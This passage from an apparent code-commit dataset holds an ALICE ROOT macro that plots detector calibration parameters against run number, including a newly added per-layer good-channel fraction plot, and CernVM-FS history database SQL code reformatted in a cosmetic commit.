hgain->Fill(gain);\n\t}\n      } \n    }\n    printf(\"Run %d <Base> = %f <Noise> =%f Entries = %d\\n\",nrun,hbase->GetMean(),hnoise->GetMean(),(Int_t)hbase->GetEntries());\n    if((Int_t)hbase->GetEntries()==0) continue;\n    gbasevstim->SetPoint(iPoint,(Double_t)nrun,hbase->GetMean());\n    gbasevstim->SetPointError(iPoint,0.,hbase->GetRMS());\n    gnoisevstim->SetPoint(iPoint,(Double_t)nrun,hnoise->GetMean());\n    gnoisevstim->SetPointError(iPoint,0.,hnoise->GetRMS());\n    ggainvstim->SetPoint(iPoint,(Double_t)nrun,hgain->GetMean());\n    ggainvstim->SetPointError(iPoint,0.,hgain->GetRMS());\n    gstatvstim->SetPoint(iPoint,(Double_t)nrun,hchstatus->GetBinContent(2));\n    iPoint++;\n    f->Close();\n  }\n\n  TFile *ofil=new TFile(Form(\"Calib%dVsTime.root\",year),\"recreate\");\n  gbasevstim->Write();\n  gnoisevstim->Write();\n  ggainvstim->Write();\n  gstatvstim->Write();\n  ofil->Close();\n\n  TCanvas* cbase=new TCanvas(\"cbase\",\"Baselines\");\n  gbasevstim->SetFillColor(kOrange-2);\n  gbasevstim->SetMarkerStyle(20);\n  gbasevstim->Draw(\"AP3\");\n  gbasevstim->Draw(\"PLXSAME\");\n  gbasevstim->SetMinimum(0.);\n  gbasevstim->SetMaximum(70.);  \n  gbasevstim->GetXaxis()->SetTitle(\"Run number\");\n  gbasevstim->GetYaxis()->SetTitle(\"<Baseline> (ADC counts)\");\n  cbase->SaveAs(\"BaseRun09.gif\");\n\n  TCanvas* cnoise=new TCanvas(\"cnoise\",\"Noise\");\n  gnoisevstim->SetFillColor(kOrange-2);\n  gnoisevstim->SetMarkerStyle(20);\n  gnoisevstim->Draw(\"AP3\");\n  gnoisevstim->Draw(\"PLXSAME\");\n  gnoisevstim->SetMinimum(0.);\n  gnoisevstim->SetMaximum(4.);\n  gnoisevstim->GetXaxis()->SetTitle(\"Run number\");\n  gnoisevstim->GetYaxis()->SetTitle(\"<Noise> (ADC counts)\");\n  cnoise->SaveAs(\"NoiseRun09.gif\");\n\n  TCanvas* cgain=new TCanvas(\"cgain\",\"Gain\");\n  ggainvstim->SetFillColor(kOrange-2);\n  ggainvstim->SetMarkerStyle(20);\n  ggainvstim->Draw(\"AP3\");\n  ggainvstim->Draw(\"PLXSAME\");\n  ggainvstim->SetMinimum(0.);\n  ggainvstim->SetMaximum(4.);\n  ggainvstim->GetXaxis()->SetTitle(\"Run number\");\n  ggainvstim->GetYaxis()->SetTitle(\"<Gain> (ADC\/DAC)\");\n  cgain->SaveAs(\"GainRun09.gif\");\n\n  TCanvas* cfrac=new TCanvas(\"cfrac\",\"Good channels\");\n  gstatvstim->SetFillColor(kOrange-2);\n  gstatvstim->SetMarkerStyle(20);\n  gstatvstim->Draw(\"AP3\");\n  gstatvstim->Draw(\"PLXSAME\");\n  gstatvstim->SetMinimum(100000.);\n  gstatvstim->SetMaximum(133000.);\n  gstatvstim->GetXaxis()->SetTitle(\"Run number\");\n  gstatvstim->GetYaxis()->SetTitle(\"Number of good anodes in acquisition\");\n  cfrac->SaveAs(\"GoodAnodesRun09.gif\");\n\n}\n<commit_msg>New plot with fraction of good channels per layer<commit_after>#if !defined(__CINT__) || defined(__MAKECINT__)\n#include <TFile.h>\n#include <TH1F.h>\n#include <TGraph.h>\n#include <TGraphErrors.h>\n#include <TStyle.h>\n#include <TGrid.h>\n#include <TCanvas.h>\n#include <TSystem.h>\n#include <TLatex.h>\n#include <TLegend.h>\n#include <TLegendEntry.h>\n#include <TObjArray.h>\n#include \"AliCDBEntry.h\"\n#include \"AliITSCalibrationSDD.h\"\n#endif\n\n\/*  $Id$    *\/\n\n\/\/ Macro to plot the calibration parameters from the OCDB files \n\/\/ created from PEDESTAL and PULSER runs vs. Time\n\/\/ Origin: F. Prino (prino@to.infn.it)\n\nvoid PlotCalibSDDVsTime(Int_t year=2010, Int_t firstRun=77677, \n\t\t\tInt_t lastRun=999999999){\n\n  gStyle->SetOptTitle(0);\n  gStyle->SetOptStat(0);\n  gStyle->SetPadLeftMargin(0.14);\n  gStyle->SetTitleOffset(1.4,\"Y\");  \n\n\n  TGrid::Connect(\"alien:\",0,0,\"t\");\n  gSystem->Exec(Form(\"gbbox find \\\"\/alice\/data\/%d\/OCDB\/ITS\/Calib\/CalibSDD\\\" \\\"Run*.root\\\" > runCalibAlien.txt\",year));\n  FILE* listruns=fopen(\"runCalibAlien.txt\",\"r\");\n\n  TH1F* hbase=new TH1F(\"hbase\",\"\",60,0.5,120.5);\n  TH1F* hnoise=new TH1F(\"hnoise\",\"\",100,0.,7.);\n  TH1F* hgain=new TH1F(\"hgain\",\"\",100,0.,4.);\n  TH1F* hchstatus=new TH1F(\"hchstatus\",\"\",2,-0.5,1.5);\n  TH1F* hchstatus3=new TH1F(\"hchstatus3\",\"\",2,-0.5,1.5);\n  TH1F* hchstatus4=new TH1F(\"hchstatus4\",\"\",2,-0.5,1.5);\n  TGraphErrors* gbasevstim=new TGraphErrors(0);\n  TGraphErrors* gnoisevstim=new TGraphErrors(0);\n  TGraphErrors* ggainvstim=new TGraphErrors(0);\n  TGraphErrors* gstatvstim=new TGraphErrors(0);\n  TGraphErrors* gfracvstim=new TGraphErrors(0);\n  TGraphErrors* gfrac3vstim=new TGraphErrors(0);\n  TGraphErrors* gfrac4vstim=new TGraphErrors(0);\n  gbasevstim->SetName(\"gbasevstim\");\n  gnoisevstim->SetName(\"gnoisevstim\");\n  ggainvstim->SetName(\"ggainvstim\");\n  gstatvstim->SetName(\"gstatvstim\");\n  gfracvstim->SetName(\"gfracvstim\");\n  gfrac3vstim->SetName(\"gfrac3vstim\");\n  gfrac4vstim->SetName(\"gfrac4vstim\");\n  gbasevstim->SetTitle(\"Baseline vs. run\");\n  gnoisevstim->SetTitle(\"Noise vs. run\");\n  ggainvstim->SetTitle(\"Gain vs. run\");\n  gstatvstim->SetTitle(\"Good Anodes vs. run\");\n  gfracvstim->SetTitle(\"Fraction of Good Anodes vs. run\");\n  gfrac3vstim->SetTitle(\"Fraction of Good Anodes vs. run\");\n  gfrac4vstim->SetTitle(\"Fraction of Good Anodes vs. run\");\n\n\n  Char_t filnam[200],filnamalien[200];\n  Int_t iPoint=0;\n  Int_t nrun,nrun2,nv,ns;\n\n  while(!feof(listruns)){\n    hbase->Reset();\n    hnoise->Reset();\n    hgain->Reset();\n    hchstatus->Reset();\n    hchstatus3->Reset();\n    hchstatus4->Reset();\n    fscanf(listruns,\"%s\\n\",filnam);    \n    Char_t directory[100];\n    sprintf(directory,\"\/alice\/data\/%d\",year);\n    if(!strstr(filnam,directory)) continue;\n    sscanf(filnam,\"\/alice\/data\/%d\/OCDB\/ITS\/Calib\/CalibSDD\/Run%d_%d_v%d_s%d.root\",&year,&nrun,&nrun2,&nv,&ns);\n    if(year==2009 && (nrun<85639 && nrun2> 85639)) continue; \/\/ protection for files with swapped ladders 4-5 of layer 3 \n    if(year==2009 && (nrun>100000 && nv< 184)) continue; \/\/ protection for files with swapped ladder 0-1 of layer 4\n    if(year==2010 && (nrun>=114603 && nv< 98)) continue; \/\/ protection for files without treatment of masked hybrids \n    if(nrun<firstRun) continue;\n    if(nrun>lastRun) continue;\n    sprintf(filnamalien,\"alien:\/\/%s\",filnam);\n    printf(\"Open file: %s\\n\",filnam);\n    TFile *f= TFile::Open(filnamalien);  \n    AliCDBEntry *ent=(AliCDBEntry*)f->Get(\"AliCDBEntry\");\n    TObjArray *calSDD = (TObjArray *)ent->GetObject();\n    printf(\"Run %d Entries in array=%d \\n\",nrun,calSDD->GetEntriesFast());\n\n\n    AliITSCalibrationSDD *cal;\n    for(Int_t iMod=0; iMod<260;iMod++){\n      cal=(AliITSCalibrationSDD*)calSDD->At(iMod);\n      if(cal==0) continue;\n      for(Int_t iAn=0; iAn<512; iAn++){\n\tInt_t ic=cal->GetChip(iAn);\n\tFloat_t base=cal->GetBaseline(iAn);\n\tFloat_t noise=cal->GetNoiseAfterElectronics(iAn);\n\tFloat_t gain=cal->GetChannelGain(iAn);\n\tif(cal->IsBadChannel(iAn)){\n\t  hchstatus->Fill(0);\n\t  if(iMod<84) hchstatus3->Fill(0);\n\t  else hchstatus4->Fill(0);\n\t}\n\tif(!cal->IsBadChannel(iAn) && !cal->IsChipBad(ic) && !cal->IsBad() ){\n\t  hbase->Fill(base);\n\t  hchstatus->Fill(1);\n\t  if(iMod<84) hchstatus3->Fill(1);\n\t  else hchstatus4->Fill(1);\n\t  hnoise->Fill(noise);\n\t  hgain->Fill(gain);\n\t}\n      } \n    }\n    printf(\"Run %d <Base> = %f <Noise> =%f Entries = %d\\n\",nrun,hbase->GetMean(),hnoise->GetMean(),(Int_t)hbase->GetEntries());\n    if((Int_t)hbase->GetEntries()==0) continue;\n    gbasevstim->SetPoint(iPoint,(Double_t)nrun,hbase->GetMean());\n    gbasevstim->SetPointError(iPoint,0.,hbase->GetRMS());\n    gnoisevstim->SetPoint(iPoint,(Double_t)nrun,hnoise->GetMean());\n    gnoisevstim->SetPointError(iPoint,0.,hnoise->GetRMS());\n    ggainvstim->SetPoint(iPoint,(Double_t)nrun,hgain->GetMean());\n    ggainvstim->SetPointError(iPoint,0.,hgain->GetRMS());\n    gstatvstim->SetPoint(iPoint,(Double_t)nrun,hchstatus->GetBinContent(2));\n    gfracvstim->SetPoint(iPoint,(Double_t)nrun,hchstatus->GetBinContent(2)\/260.\/512.);\n    gfrac3vstim->SetPoint(iPoint,(Double_t)nrun,hchstatus3->GetBinContent(2)\/84.\/512.);\n    gfrac4vstim->SetPoint(iPoint,(Double_t)nrun,hchstatus4->GetBinContent(2)\/176.\/512.);\n    iPoint++;\n    f->Close();\n  }\n\n  TFile *ofil=new TFile(Form(\"Calib%dVsTime.root\",year),\"recreate\");\n  gbasevstim->Write();\n  gnoisevstim->Write();\n  ggainvstim->Write();\n  gstatvstim->Write();\n  ofil->Close();\n\n  TCanvas* cbase=new TCanvas(\"cbase\",\"Baselines\");\n  gbasevstim->SetFillColor(kOrange-2);\n  gbasevstim->SetMarkerStyle(20);\n  gbasevstim->Draw(\"AP3\");\n  gbasevstim->Draw(\"PLXSAME\");\n  gbasevstim->SetMinimum(0.);\n  gbasevstim->SetMaximum(70.);  \n  gbasevstim->GetXaxis()->SetTitle(\"Run number\");\n  gbasevstim->GetYaxis()->SetTitle(\"<Baseline> (ADC counts)\");\n  cbase->SaveAs(Form(\"BaseRun%d.gif\",year));\n\n  TCanvas* cnoise=new TCanvas(\"cnoise\",\"Noise\");\n  gnoisevstim->SetFillColor(kOrange-2);\n  gnoisevstim->SetMarkerStyle(20);\n  gnoisevstim->Draw(\"AP3\");\n  gnoisevstim->Draw(\"PLXSAME\");\n  gnoisevstim->SetMinimum(0.);\n  gnoisevstim->SetMaximum(4.);\n  gnoisevstim->GetXaxis()->SetTitle(\"Run number\");\n  gnoisevstim->GetYaxis()->SetTitle(\"<Noise> (ADC counts)\");\n  cnoise->SaveAs(Form(\"NoiseRun%d.gif\",year));\n\n  TCanvas* cgain=new TCanvas(\"cgain\",\"Gain\");\n  ggainvstim->SetFillColor(kOrange-2);\n  ggainvstim->SetMarkerStyle(20);\n  ggainvstim->Draw(\"AP3\");\n  ggainvstim->Draw(\"PLXSAME\");\n  ggainvstim->SetMinimum(0.);\n  ggainvstim->SetMaximum(4.);\n  ggainvstim->GetXaxis()->SetTitle(\"Run number\");\n  ggainvstim->GetYaxis()->SetTitle(\"<Gain> (ADC\/DAC)\");\n  cgain->SaveAs(Form(\"GainRun%d.gif\",year));\n\n  TCanvas* cstatus=new TCanvas(\"cstatus\",\"Good channels\");\n  gstatvstim->SetFillColor(kOrange-2);\n  gstatvstim->SetMarkerStyle(20);\n  gstatvstim->Draw(\"AP3\");\n  gstatvstim->Draw(\"PLXSAME\");\n  gstatvstim->SetMinimum(100000.);\n  gstatvstim->SetMaximum(133000.);\n  gstatvstim->GetXaxis()->SetTitle(\"Run number\");\n  gstatvstim->GetYaxis()->SetTitle(\"Number of good anodes in acquisition\");\n  cstatus->SaveAs(Form(\"GoodAnodesRun%d.gif\",year));\n\n  TCanvas* cfrac=new TCanvas(\"cfrac\",\"Fraction of Good\");\n  gfracvstim->SetMarkerStyle(20);\n  gfrac3vstim->SetMarkerStyle(22);\n  gfrac3vstim->SetMarkerColor(2);\n  gfrac3vstim->SetLineColor(2);\n  gfrac4vstim->SetMarkerStyle(23);\n  gfrac4vstim->SetMarkerColor(4);\n  gfrac4vstim->SetLineColor(4);\n  gfracvstim->Draw(\"APL\");\n  gfrac3vstim->Draw(\"PLSAME\");\n  gfrac4vstim->Draw(\"PLSAME\");\n  gfracvstim->SetMinimum(0.7);\n  gfracvstim->SetMaximum(1.05);\n  gfracvstim->GetXaxis()->SetTitle(\"Run number\");\n  gfracvstim->GetYaxis()->SetTitle(\"Fraction of good anodes in acquisition\");\n  TLegend* leg=new TLegend(0.2,0.15,0.45,0.35);\n  leg->SetFillColor(0);\n  TLegendEntry* entr=leg->AddEntry(gfrac3vstim,\"Layer 3\",\"P\");\n  entr->SetTextColor(2);\n  entr=leg->AddEntry(gfrac4vstim,\"Layer 4\",\"P\");\n  entr->SetTextColor(4);\n  entr=leg->AddEntry(gfracvstim,\"All\",\"P\");\n  entr->SetTextColor(1);\n  leg->Draw();\n  cfrac->SaveAs(Form(\"FractionGoodRun%d.gif\",year));\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * This file is part of the CernVM File System.\n *\/\n\n#include \"history_sql.h\"\n\n#include <cassert>\n\nnamespace history {\n\nconst float    HistoryDatabase::kLatestSchema          = 1.0;\nconst float    HistoryDatabase::kLatestSupportedSchema = 1.0;\nconst unsigned HistoryDatabase::kLatestSchemaRevision  = 2;\n\n\/**\n * Database Schema ChangeLog:\n *\n * Schema Version 1.0\n *   -> Revision 2: add table 'recycle_bin'\n *   -> Revision 1: add field 'size'\n *\n *\/\n\nconst std::string HistoryDatabase::kFqrnKey = \"fqrn\";\n\n\n\/**\n * This method creates a new database file and initializes the database schema.\n *\/\nbool HistoryDatabase::CreateEmptyDatabase() {\n  assert(read_write());\n\n  return CreateTagsTable() &&\n         CreateRecycleBinTable();\n}\n\n\nbool HistoryDatabase::CreateTagsTable() {\n  assert(read_write());\n  return sqlite::Sql(sqlite_db(),\n    \"CREATE TABLE tags (name TEXT, hash TEXT, revision INTEGER, \"\n    \"  timestamp INTEGER, channel INTEGER, description TEXT, size INTEGER, \"\n    \"  CONSTRAINT pk_tags PRIMARY KEY (name))\").Execute();\n}\n\n\nbool HistoryDatabase::CreateRecycleBinTable() {\n  assert(read_write());\n  return sqlite::Sql(sqlite_db(),\n    \"CREATE TABLE recycle_bin (hash TEXT, flags INTEGER, \"\n    \"  CONSTRAINT pk_hash PRIMARY KEY (hash))\").Execute();\n}\n\n\nbool HistoryDatabase::InsertInitialValues(const std::string &repository_name) {\n  assert(read_write());\n  return this->SetProperty(kFqrnKey, repository_name);\n}\n\n\nbool HistoryDatabase::ContainsRecycleBin() const {\n  return schema_version() >= 1.0 - kSchemaEpsilon && schema_revision() >= 2;\n}\n\n\nbool HistoryDatabase::CheckSchemaCompatibility() {\n  return !((schema_version() < kLatestSupportedSchema - kSchemaEpsilon) ||\n           (schema_version() > kLatestSchema          + kSchemaEpsilon));\n}\n\n\nbool HistoryDatabase::LiveSchemaUpgradeIfNecessary() {\n  assert(read_write());\n  assert(IsEqualSchema(schema_version(), 1.0));\n\n  if (schema_revision() == kLatestSchemaRevision) {\n    return true;\n  }\n\n  LogCvmfs(kLogHistory, kLogDebug, \"upgrading history schema revision \"\n                                   \"%.2f (Rev: %d) to %.2f (Rev: %d)\",\n           schema_version(), schema_revision(),\n           kLatestSchema, kLatestSchemaRevision);\n\n  const bool success = UpgradeSchemaRevision_10_1() &&\n                       UpgradeSchemaRevision_10_2();\n\n  return success && StoreSchemaRevision();\n}\n\n\nbool HistoryDatabase::UpgradeSchemaRevision_10_1() {\n  if (schema_revision() > 0) {\n    return true;\n  }\n\n  sqlite::Sql sql_upgrade(sqlite_db(), \"ALTER TABLE tags ADD size INTEGER;\");\n  if (!sql_upgrade.Execute()) {\n    LogCvmfs(kLogHistory, kLogStderr, \"failed to upgrade tags table\");\n    return false;\n  }\n\n  set_schema_revision(1);\n  return true;\n}\n\n\nbool HistoryDatabase::UpgradeSchemaRevision_10_2() {\n  if (schema_revision() > 1) {\n    return true;\n  }\n\n  if (!CreateRecycleBinTable()) {\n    LogCvmfs(kLogHistory, kLogStderr, \"failed to upgrade history database\");\n    return false;\n  }\n\n  set_schema_revision(2);\n  return true;\n}\n\n\n\/\/------------------------------------------------------------------------------\n\n#define DB_FIELDS_V1R0  \"name, hash, revision, timestamp, channel, description\"\n#define DB_FIELDS_V1R1  \"name, hash, revision, timestamp, channel, description, size\"\n#define DB_PLACEHOLDERS \":name, :hash, :revision, :timestamp, :channel, :description, :size\"\n#define ROLLBACK_COND   \"(revision > :target_rev  OR \" \\\n                        \" name     = :target_name)   \" \\\n                        \"AND channel  = :target_chan \"\n\n#define MAKE_STATEMENT(STMT_TMPL, REV)                         \\\nstatic const std::string REV =                                 \\\n  ReplaceAll(                                                  \\\n    ReplaceAll(                                                \\\n      ReplaceAll(STMT_TMPL, \"@DB_FIELDS@\", DB_FIELDS_ ## REV), \\\n      \"@DB_PLACEHOLDERS@\", DB_PLACEHOLDERS),                   \\\n    \"@ROLLBACK_COND@\", ROLLBACK_COND)\n\n#define MAKE_STATEMENTS(STMT_TMPL) \\\n  MAKE_STATEMENT(STMT_TMPL, V1R0); \\\n  MAKE_STATEMENT(STMT_TMPL, V1R1)\n\n#define DEFERRED_INIT(DB, REV) \\\n  DeferredInit((DB)->sqlite_db(), (REV).c_str())\n\n#define DEFERRED_INITS(DB) \\\n  if ((DB)->IsEqualSchema((DB)->schema_version(), 1.0f) && \\\n      (DB)->schema_revision() == 0) {                      \\\n    DEFERRED_INIT((DB), V1R0);                             \\\n  } else {                                                 \\\n    DEFERRED_INIT((DB), V1R1);                             \\\n  }\n\nSqlInsertTag::SqlInsertTag(const HistoryDatabase *database) {\n  MAKE_STATEMENTS(\"INSERT INTO tags (@DB_FIELDS@) VALUES (@DB_PLACEHOLDERS@);\");\n  DEFERRED_INITS(database);\n}\n\n\nbool SqlInsertTag::BindTag(const History::Tag &tag) {\n  return\n    BindText(1, tag.name) &&\n    BindTextTransient(2, tag.root_hash.ToString()) &&  \/\/ temporary (ToString)\n    BindInt64(3, tag.revision) &&\n    BindInt64(4, tag.timestamp) &&\n    BindInt64(5, tag.channel) &&\n    BindText(6, tag.description) &&\n    BindInt64(7, tag.size);\n}\n\n\n\/\/------------------------------------------------------------------------------\n\n\nSqlRemoveTag::SqlRemoveTag(const HistoryDatabase *database) {\n  DeferredInit(database->sqlite_db(), \"DELETE FROM tags WHERE name = :name;\");\n}\n\nbool SqlRemoveTag::BindName(const std::string &name) {\n  return BindText(1, name);\n}\n\n\n\/\/------------------------------------------------------------------------------\n\n\nSqlFindTag::SqlFindTag(const HistoryDatabase *database) {\n  MAKE_STATEMENTS(\"SELECT @DB_FIELDS@ FROM tags WHERE name = :name LIMIT 1;\");\n  DEFERRED_INITS(database);\n}\n\nbool SqlFindTag::BindName(const std::string &name) {\n  return BindText(1, name);\n}\n\n\n\/\/------------------------------------------------------------------------------\n\n\nSqlFindTagByDate::SqlFindTagByDate(const HistoryDatabase *database) {\n  \/\/ figure out the tag that was HEAD to a given point in time\n  \/\/\n  \/\/ conceptually goes back in the revision history  |  ORDER BY revision DESC\n  \/\/ and picks the first tag                         |  LIMIT 1\n  \/\/ that is older than the given timestamp          |  WHICH timestamp <= :ts\n  MAKE_STATEMENTS(\"SELECT @DB_FIELDS@ FROM tags \"\n                  \"WHERE timestamp <= :timestamp \"\n                  \"ORDER BY revision DESC LIMIT 1;\");\n  DEFERRED_INITS(database);\n}\n\nbool SqlFindTagByDate::BindTimestamp(const time_t timestamp) {\n  return BindInt64(1, timestamp);\n}\n\n\n\/\/------------------------------------------------------------------------------\n\n\nSqlCountTags::SqlCountTags(const HistoryDatabase *database) {\n  DeferredInit(database->sqlite_db(), \"SELECT count(*) FROM tags;\");\n}\n\nunsigned SqlCountTags::RetrieveCount() const {\n  int64_t count = RetrieveInt64(0);\n  assert(count >= 0);\n  return static_cast<uint64_t>(count);\n}\n\n\n\/\/------------------------------------------------------------------------------\n\n\nSqlListTags::SqlListTags(const HistoryDatabase *database) {\n  MAKE_STATEMENTS(\"SELECT @DB_FIELDS@ FROM tags ORDER BY revision DESC;\");\n  DEFERRED_INITS(database);\n}\n\n\n\/\/------------------------------------------------------------------------------\n\n\nSqlGetChannelTips::SqlGetChannelTips(const HistoryDatabase *database) {\n  MAKE_STATEMENTS(\"SELECT @DB_FIELDS@, MAX(revision) AS max_rev \"\n                  \"FROM tags \"\n                  \"GROUP BY channel;\");\n  DEFERRED_INITS(database);\n}\n\nSqlGetHashes::SqlGetHashes(const HistoryDatabase *database) {\n  DeferredInit(database->sqlite_db(), \"SELECT DISTINCT hash FROM tags \"\n                                      \"ORDER BY revision ASC\");\n}\n\nshash::Any SqlGetHashes::RetrieveHash() const {\n  return shash::MkFromHexPtr(shash::HexPtr(RetrieveString(0)),\n                             shash::kSuffixCatalog);\n}\n\n\n\/\/------------------------------------------------------------------------------\n\n\nSqlRollbackTag::SqlRollbackTag(const HistoryDatabase *database) {\n  MAKE_STATEMENTS(\"DELETE FROM tags WHERE @ROLLBACK_COND@;\");\n  DEFERRED_INITS(database);\n}\n\n\n\/\/------------------------------------------------------------------------------\n\n\nSqlListRollbackTags::SqlListRollbackTags(const HistoryDatabase *database) {\n  MAKE_STATEMENTS(\"SELECT @DB_FIELDS@ FROM tags \"\n                  \"WHERE @ROLLBACK_COND@ \"\n                  \"ORDER BY revision DESC;\");\n  DEFERRED_INITS(database);\n}\n\n\n\/\/------------------------------------------------------------------------------\n\n\nbool SqlRecycleBin::CheckSchema(const HistoryDatabase *database) const {\n  return (database->IsEqualSchema(database->schema_version(), 1.0)) &&\n         (database->schema_revision() >= 2);\n}\n\n\n\/\/------------------------------------------------------------------------------\n\n\nSqlRecycleBinInsert::SqlRecycleBinInsert(const HistoryDatabase *database) {\n  assert(CheckSchema(database));\n  DeferredInit(database->sqlite_db(),\n               \"INSERT OR IGNORE INTO recycle_bin (hash, flags) \"\n               \"VALUES (:hash, :flags)\");\n}\n\n\nbool SqlRecycleBinInsert::BindTag(const History::Tag &condemned_tag) {\n  const unsigned int flags = SqlRecycleBin::kFlagCatalog;\n  return\n    BindTextTransient(1, condemned_tag.root_hash.ToString()) &&\n    BindInt64(2, flags);\n}\n\n\n\/\/------------------------------------------------------------------------------\n\n\nSqlRecycleBinList::SqlRecycleBinList(const HistoryDatabase *database) {\n  assert(CheckSchema(database));\n  DeferredInit(database->sqlite_db(), \"SELECT hash, flags FROM recycle_bin;\");\n}\n\n\nshash::Any SqlRecycleBinList::RetrieveHash() {\n  const unsigned int flags = RetrieveInt64(1);\n  shash::Suffix suffix = shash::kSuffixNone;\n  if (flags & SqlRecycleBin::kFlagCatalog) {\n    suffix = shash::kSuffixCatalog;\n  }\n\n  return shash::MkFromHexPtr(shash::HexPtr(RetrieveString(0)), suffix);\n}\n\n\n\/\/------------------------------------------------------------------------------\n\n\nSqlRecycleBinFlush::SqlRecycleBinFlush(const HistoryDatabase *database) {\n  assert(CheckSchema(database));\n  DeferredInit(database->sqlite_db(), \"DELETE FROM recycle_bin;\");\n}\n\n\n\/\/------------------------------------------------------------------------------\n\n\nSqlRecycleBinRollback::SqlRecycleBinRollback(const HistoryDatabase *database) {\n  assert(CheckSchema(database));\n  const bool success = Init(database->sqlite_db(),\n                            \"INSERT OR IGNORE INTO recycle_bin (hash, flags) \"\n                            \"SELECT hash, :flags \"\n                            \"FROM tags WHERE \" + rollback_condition + \";\");\n  assert(success);\n}\n\nbool SqlRecycleBinRollback::BindFlags() {\n  return BindInt64(1, SqlRecycleBin::kFlagCatalog);\n}\n\n\n}; \/* namespace history *\/\n<commit_msg>cosmetics<commit_after>\/**\n * This file is part of the CernVM File System.\n *\/\n\n#include \"history_sql.h\"\n\n#include <cassert>\n\nnamespace history {\n\nconst float    HistoryDatabase::kLatestSchema          = 1.0;\nconst float    HistoryDatabase::kLatestSupportedSchema = 1.0;\nconst unsigned HistoryDatabase::kLatestSchemaRevision  = 2;\n\n\/**\n * Database Schema ChangeLog:\n *\n * Schema Version 1.0\n *   -> Revision 2: add table 'recycle_bin'\n *   -> Revision 1: add field 'size'\n *\n *\/\n\nconst std::string HistoryDatabase::kFqrnKey = \"fqrn\";\n\n\n\/**\n * This method creates a new database file and initializes the database schema.\n *\/\nbool HistoryDatabase::CreateEmptyDatabase() {\n  assert(read_write());\n\n  return CreateTagsTable() &&\n         CreateRecycleBinTable();\n}\n\n\nbool HistoryDatabase::CreateTagsTable() {\n  assert(read_write());\n  return sqlite::Sql(sqlite_db(),\n    \"CREATE TABLE tags (name TEXT, hash TEXT, revision INTEGER, \"\n    \"  timestamp INTEGER, channel INTEGER, description TEXT, size INTEGER, \"\n    \"  CONSTRAINT pk_tags PRIMARY KEY (name))\").Execute();\n}\n\n\nbool HistoryDatabase::CreateRecycleBinTable() {\n  assert(read_write());\n  return sqlite::Sql(sqlite_db(),\n    \"CREATE TABLE recycle_bin (hash TEXT, flags INTEGER, \"\n    \"  CONSTRAINT pk_hash PRIMARY KEY (hash))\").Execute();\n}\n\n\nbool HistoryDatabase::InsertInitialValues(const std::string &repository_name) {\n  assert(read_write());\n  return this->SetProperty(kFqrnKey, repository_name);\n}\n\n\nbool HistoryDatabase::ContainsRecycleBin() const {\n  return schema_version() >= 1.0 - kSchemaEpsilon && schema_revision() >= 2;\n}\n\n\nbool HistoryDatabase::CheckSchemaCompatibility() {\n  return !((schema_version() < kLatestSupportedSchema - kSchemaEpsilon) ||\n           (schema_version() > kLatestSchema          + kSchemaEpsilon));\n}\n\n\nbool HistoryDatabase::LiveSchemaUpgradeIfNecessary() {\n  assert(read_write());\n  assert(IsEqualSchema(schema_version(), 1.0));\n\n  if (schema_revision() == kLatestSchemaRevision) {\n    return true;\n  }\n\n  LogCvmfs(kLogHistory, kLogDebug, \"upgrading history schema revision \"\n                                   \"%.2f (Rev: %d) to %.2f (Rev: %d)\",\n           schema_version(), schema_revision(),\n           kLatestSchema, kLatestSchemaRevision);\n\n  const bool success = UpgradeSchemaRevision_10_1() &&\n                       UpgradeSchemaRevision_10_2();\n\n  return success && StoreSchemaRevision();\n}\n\n\nbool HistoryDatabase::UpgradeSchemaRevision_10_1() {\n  if (schema_revision() > 0) {\n    return true;\n  }\n\n  sqlite::Sql sql_upgrade(sqlite_db(), \"ALTER TABLE tags ADD size INTEGER;\");\n  if (!sql_upgrade.Execute()) {\n    LogCvmfs(kLogHistory, kLogStderr, \"failed to upgrade tags table\");\n    return false;\n  }\n\n  set_schema_revision(1);\n  return true;\n}\n\n\nbool HistoryDatabase::UpgradeSchemaRevision_10_2() {\n  if (schema_revision() > 1) {\n    return true;\n  }\n\n  if (!CreateRecycleBinTable()) {\n    LogCvmfs(kLogHistory, kLogStderr, \"failed to upgrade history database\");\n    return false;\n  }\n\n  set_schema_revision(2);\n  return true;\n}\n\n\n\/\/------------------------------------------------------------------------------\n\n#define DB_FIELDS_V1R0  \"name, hash, revision, timestamp, channel, description\"\n#define DB_FIELDS_V1R1  \"name, hash, revision, timestamp, channel, \" \\\n                        \"description,  size\"\n#define DB_PLACEHOLDERS \":name, :hash, :revision, :timestamp, :channel, \" \\\n                        \":description, :size\"\n#define ROLLBACK_COND   \"(revision > :target_rev  OR \" \\\n                        \" name     = :target_name)   \" \\\n                        \"AND channel  = :target_chan \"\n\n#define MAKE_STATEMENT(STMT_TMPL, REV)       \\\nstatic const std::string REV =               \\\n  ReplaceAll(                                \\\n    ReplaceAll(                              \\\n      ReplaceAll(STMT_TMPL,                  \\\n        \"@DB_FIELDS@\", DB_FIELDS_ ## REV),   \\\n      \"@DB_PLACEHOLDERS@\", DB_PLACEHOLDERS), \\\n    \"@ROLLBACK_COND@\", ROLLBACK_COND)\n\n#define MAKE_STATEMENTS(STMT_TMPL) \\\n  MAKE_STATEMENT(STMT_TMPL, V1R0); \\\n  MAKE_STATEMENT(STMT_TMPL, V1R1)\n\n#define DEFERRED_INIT(DB, REV) \\\n  DeferredInit((DB)->sqlite_db(), (REV).c_str())\n\n#define DEFERRED_INITS(DB) \\\n  if ((DB)->IsEqualSchema((DB)->schema_version(), 1.0f) && \\\n      (DB)->schema_revision() == 0) {                      \\\n    DEFERRED_INIT((DB), V1R0);                             \\\n  } else {                                                 \\\n    DEFERRED_INIT((DB), V1R1);                             \\\n  }\n\nSqlInsertTag::SqlInsertTag(const HistoryDatabase *database) {\n  MAKE_STATEMENTS(\"INSERT INTO tags (@DB_FIELDS@) VALUES (@DB_PLACEHOLDERS@);\");\n  DEFERRED_INITS(database);\n}\n\n\nbool SqlInsertTag::BindTag(const History::Tag &tag) {\n  return\n    BindText(1, tag.name) &&\n    BindTextTransient(2, tag.root_hash.ToString()) &&  \/\/ temporary (ToString)\n    BindInt64(3, tag.revision) &&\n    BindInt64(4, tag.timestamp) &&\n    BindInt64(5, tag.channel) &&\n    BindText(6, tag.description) &&\n    BindInt64(7, tag.size);\n}\n\n\n\/\/------------------------------------------------------------------------------\n\n\nSqlRemoveTag::SqlRemoveTag(const HistoryDatabase *database) {\n  DeferredInit(database->sqlite_db(), \"DELETE FROM tags WHERE name = :name;\");\n}\n\nbool SqlRemoveTag::BindName(const std::string &name) {\n  return BindText(1, 